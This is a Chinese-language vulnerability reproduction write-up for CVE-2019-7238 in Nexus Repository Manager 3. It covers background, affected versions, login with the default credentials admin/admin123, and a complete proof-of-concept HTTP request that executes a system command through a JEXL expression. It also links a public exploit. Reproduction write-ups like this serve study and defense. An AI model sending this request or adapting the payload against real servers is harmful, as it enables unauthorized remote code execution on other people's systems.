Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞复现

image.png

0x00 漏洞背景

Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

0x01 影响范围

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

0x02漏洞复现

  1. 未授权访问+弱口令访问
  2. jar包上传
  3. Exploit

step1:未授权访问+弱口令访问

nexus默认端口为8081,且存在未授权访问(3.15起关闭此功能),通过弱口令admin/admin123进入

image.png

step2:上传jar包

而真实环境则不需要,因为真实环境已经上传了assert
image.png

step3:Exploit

poc:

POST /service/extdirect HTTP/1.1
Host:127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

image.png

或者用有dalao写好的exp:https://github.com/mpgn/CVE-2019-7238

image.png

image.png

原文地址:https://www.cnblogs.com/ffx1/p/12653565.html